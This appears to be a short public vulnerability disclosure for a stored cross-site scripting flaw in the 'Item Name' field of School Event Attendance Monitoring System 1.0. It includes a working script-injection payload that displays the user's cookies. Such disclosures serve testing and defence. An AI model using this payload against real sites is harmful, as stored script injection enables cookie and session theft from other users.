19 lines
No EOL
861 B
Text
19 lines
No EOL
861 B
Text
# Exploit Title: School Event Attendance Monitoring System 1.0 - 'Item Name' Stored Cross-Site Scripting
|
|
# Date: 2021-02-11
|
|
# Exploit Author: Suresh Kumar
|
|
# Vendor Homepage: https://www.sourcecodester.com/
|
|
# Software Link: https://www.sourcecodester.com/php/12613/php-attendance-monitoring-system-barcode-scanning.html
|
|
# Software: School Event Attendance Monitoring System 1.0
|
|
# Tested on Windows 10 XAMPP
|
|
|
|
# This application is vulnerable to Stored XSS vulnerability.
|
|
# Vulnerable Page: http://localhost/attendance/sanction
|
|
# Vulnerable functionality: 'Add Sanction '
|
|
# Vulnerable Input Field : Item Name
|
|
# Payload used:
|
|
|
|
"><script>alert(document.cookie)</script>
|
|
|
|
# POC: Whenever we will go to the page (http://localhost/attendance/sanction)
|
|
where the script is injected, the stored script will be executed.
|
|
# You will see your Javascript code (XSS) executed. |